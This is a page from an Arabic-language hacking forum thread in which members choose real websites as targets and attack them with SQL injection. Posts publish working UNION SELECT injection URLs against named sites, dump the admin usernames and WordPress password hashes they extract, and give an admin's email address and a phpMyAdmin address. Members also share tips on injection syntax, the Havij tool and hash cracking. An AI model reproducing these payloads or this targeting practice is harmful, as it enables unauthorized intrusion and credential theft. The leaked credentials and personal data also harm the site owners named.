غرفة حقن قواعد البيانات {غرفة Sql } - الصفحة 12

TIKTAKram · 08-06-2010, 12:17 AM

[align=center]شكرا أخي على المواقع

تم الحقن و لكن لدي ما أقوله

لا أعرف لماذا لا يمكن حقنهما يدويا

لأن عدد الأعمدة لا ينتهي يظهر كأن الثغرة مرقعة في الموقع الأول و لكن من خلال البرنامج يمكن حقنه

و هذه معلومات الموقع الأول :

الأدمن : admin

الباسوارد : $P$BfX83P0hDuIl3OXTM.44dGAATde1bB.

نوع التشفيرة : MD5/UNIX

و تقريبا هذا النوع يمكنك فكه من خلال التخمين أقصد من خلال البرامج مثل PasswordPro

لأنو لا توجد مواقع لفك هذا النوع من الهاش ( لم أرى بنفسي موقع يفعل هذا )

إيميل الأدمن : rob.veltman@touringcartimes.com

phpmyadmin : http://www.touringcartimes.com/phpmyadmin/

بالنسبة للموقع الثاني هناك حماية على السيرفر و لا أعرف كيف تمكنت أنت من حقنه

بالتوفيق[/align]

Master vbspiders · 08-06-2010, 03:58 PM

اقتباس

المشاركة الأصلية كتبت بواسطة Syst3m-32


	[align=center]شكرا أخي على المواقع تم الحقن و لكن لدي ما أقوله لا أعرف لماذا لا يمكن حقنهما يدويا لأن عدد الأعمدة لا ينتهي يظهر كأن الثغرة مرقعة في الموقع الأول و لكن من خلال البرنامج يمكن حقنه و هذه معلومات الموقع الأول : الأدمن : admin الباسوارد : $P$BfX83P0hDuIl3OXTM.44dGAATde1bB. نوع التشفيرة : MD5/UNIX و تقريبا هذا النوع يمكنك فكه من خلال التخمين أقصد من خلال البرامج مثل PasswordPro لأنو لا توجد مواقع لفك هذا النوع من الهاش ( لم أرى بنفسي موقع يفعل هذا ) إيميل الأدمن : rob.veltman@touringcartimes.com phpmyadmin : http://www.touringcartimes.com/phpmyadmin/ بالنسبة للموقع الثاني هناك حماية على السيرفر و لا أعرف كيف تمكنت أنت من حقنه بالتوفيق[/align]

[align=center]اعتذر هذه المرة وضعت المواقع وخرجت بدون التاكد بانها صالحة للحقن...
+
بالنسبة لوضع الاهداف انا اعتذر عن هذه المهمة
تقدر من الان انت والاخوة ان تحددو الاهداف الجديدة
تحياتي

[/align]

darkman.dz · 08-06-2010, 05:19 PM

اقتباس

المشاركة الأصلية كتبت بواسطة Syst3m-32


	[align=center]شكرا أخي على المواقع تم الحقن و لكن لدي ما أقوله لا أعرف لماذا لا يمكن حقنهما يدويا لأن عدد الأعمدة لا ينتهي يظهر كأن الثغرة مرقعة في الموقع الأول و لكن من خلال البرنامج يمكن حقنه و هذه معلومات الموقع الأول : الأدمن : admin الباسوارد : $P$BfX83P0hDuIl3OXTM.44dGAATde1bB. نوع التشفيرة : MD5/UNIX و تقريبا هذا النوع يمكنك فكه من خلال التخمين أقصد من خلال البرامج مثل PasswordPro لأنو لا توجد مواقع لفك هذا النوع من الهاش ( لم أرى بنفسي موقع يفعل هذا ) إيميل الأدمن : rob.veltman@touringcartimes.com phpmyadmin : http://www.touringcartimes.com/phpmyadmin/ بالنسبة للموقع الثاني هناك حماية على السيرفر و لا أعرف كيف تمكنت أنت من حقنه بالتوفيق[/align]

هل حقنت الموقع الأول ب havij أخي system-32

darkman.dz · 08-06-2010, 05:21 PM

الهدف الجديد

كود:

www.imagesfestival.com

darkman.dz · 08-06-2010, 05:30 PM

تم تقييم كل من الإخوة
Master vbspiders
m0h@med
Syst3m-32
عبد الله ر
smilies12
:a04:

TIKTAKram · 08-06-2010, 05:56 PM

اقتباس

المشاركة الأصلية كتبت بواسطة ooooo_darkman_ooooo


	الهدف الجديد كود: www.imagesfestival.com

أخي الكريم هل حقنت أنت هذا الموقع ؟؟؟

لأنو إصدار القاعدة 4 و خمنت أكثر من 600 إسم للجدول و لا جدوى

إن كنت لم تحقنه يا غالي فتذكر ما قلنا لازم قبل أن نضع هدف أن نحقنه

ليس موقع لم نستطع حقنه نضعه، لأنو ممكن عضو جديد ما يقدر يحقن فيكره ال SQL

لكن لما نكون حقناه نعطيه الحل و يستفيد

CODE3 · 08-06-2010, 04:11 PM

هذا أجمل شئ سمعته هذا اليوم.

darkman.dz · 08-06-2010, 05:16 PM

m0h@med شكرا أخي m0h@med على التوضيح
و الله أفدتني بخصوص concat_ws كثيرا
وكذلك رمز الفاصلتين يعني أحسن مانكتب 0x3a مرتين نكتبها 0x3a3a

darkman.dz · 08-06-2010, 06:22 PM

حقنتو يا غالي Syst3m-32
ويدويا

TIKTAKram · 08-06-2010, 07:17 PM

يا دارك

ليش ما قلت لي أنه WordPress ؟؟؟

جعلتني أظهر كأنني لم أستطع حقن الموقع

تم الحقن بنجاح بعد معرفة السكربت WordPress

إسم الجدول : wp_users

إسم عمود اليوزر : user_login

إسم عمود الباسوارد : user_pass

يوزر الأدمن : admin

باسوارده : $P$BKVumgDn3YBBmuENaVRIHGq9yEV1QN1

بالمناسبة الباسوارد مشفر تشفيرة MD5-WordPress

و هذه الحقنة كاملة :

كود:

 http://www.imagesfestival.com/volunteer.php?id=-6%20UNION%20SELECT%201,2,concat%28user_login,0x3a,user_pass%29,4,5,6,7,8+from+wp_users--

بالنسبة للوحة التحكم لو تتذكر يا دارك يا مشاكس كم حكينا عنها

تظهر لك أني نسيت الموقع ؟؟ هههه

بالتوفيق

TIKTAKram · 08-06-2010, 07:21 PM

اقتباس


	بالنسبة للأخ Syst3m-32 ياريت تقلنا بأي برنامج حقنت الموقع لاني بصراحة ما جربت استعمل اي برنامج للحقن قبل الان الشي الوحيد اللي احيانا بستعملو هو شريط الهاك للفايرفوكس مشان الامر union select اذا كان عدد الاعمدة كتير ومشان تشفير كلمة %pass% فقط ومن اجل ان اعرف القليل عن فائدة هذه البرامج وكيف تساعد في الاختراق مشكووووور

أهلا أخي الكريم

بصراحة و الله العظيم أنا لا أعمل ببرامج الحقن

أعتمد بنسبة 90% على الحقن اليدوي

فقط في بعض الحالات أين يصعب الحقن اليدوي و ما يقارب 10%

بالنسبة للبرنامج الذي أعمل به هو : Havij 1.10

برنامج قوي الأكثر شهرة في هذا المجال و بصراحة من جهتي هو برنامج قوي جدا و رائع

إلى أن في بعض الحالات الحقن اليدوي يغلبه كالحالة التي قبل هذه المشاركة بالضبط

و أي مساعدة أنا هنا

بالتوفيق

عبد الله ر · 08-06-2010, 07:10 PM

اقتباس


	تم تقييم كل من الإخوة Master vbspiders m0h@med Syst3m-32 عبد الله ر :a04:

مشكور اخي العزيز ooooo_darkman_ooooo
ولو هذا واجبنا
بالنسبة للموقع : www.imagesfestival.com
والله انا حاولت اخمن اسم الجدول بس ما طلع معي مع انني جربت كتتتتتيييير.....هههه
بس والله من رأي انك تضع جدول التخمين اللي بتشتغل انت عليه او الطريقة التي تستعملها ليستفاد منها الجميع ولكن بعد ان يحاول الجميع فيه ويجرب الكل عليه بالاول
مشكور على التقييم

بالنسبة للأخ Syst3m-32
ياريت تقلنا بأي برنامج حقنت الموقع
لاني بصراحة ما جربت استعمل اي برنامج للحقن قبل الان
الشي الوحيد اللي احيانا بستعملو هو شريط الهاك للفايرفوكس مشان الامر union select اذا كان عدد الاعمدة كتير ومشان تشفير كلمة %pass% فقط

ومن اجل ان اعرف القليل عن فائدة هذه البرامج وكيف تساعد في الاختراق

مشكووووور

darkman.dz · 08-06-2010, 07:21 PM

system-32
هههههههههههههههههههههههههههههههههههههه
الحمد لله أنك قمت بالتذكر
هههههههههههههههههههههههه
عندي 1 ساعة و أنا أنتظر تقولهالي
ههههههههههههههههههههههههههههههه
لكن في النهاية قمت بالمطلوب يا خبير
تستاهل تكون مشرف
ههههههههههههههههههههه
واصل العمل
+ عمل ممتاز
+ أنا حقنت الموقع لكن و الله ما عرفت أنو مركب سكربت wordpress
ههههههههههههههه
لكني حقنته
من الخبير الآن
هههههههههههههههههههههههههههههه

darkman.dz · 08-06-2010, 07:25 PM

Syst3m-32
=============
هل عرفت أن السكربت وورد بريس من إسم الجدول أم ماذا ؟؟؟؟؟؟؟؟

darkman.dz · 08-06-2010, 07:28 PM

أخي system-32
لاحظ حقنة المحترفين وقولي ماهو الشيئ المضاف على حقنتك من حيث ناتج الإستعلامات
ههههههههههههههههههههههههههههه

كود:

http://www.imagesfestival.com/call.php?id=-8%20union%20select%201,2,3,4,5,6,7,8,concat%28user_login,0x3a,0x3a,user_pass%29,10,11%20from%20wp_users--

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
الانتقال إلى العرض العادي العرض المتطور الانتقال إلى العرض الشجري

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
العدد (3) من غرفة الحقن	darkman.dz	SQL قواعد البيانات	397	12-30-2010 01:23 PM
جهاز من غرفة جـنـسـيـة	MasTer MiND	Hackers Showoff	6	06-25-2009 04:01 PM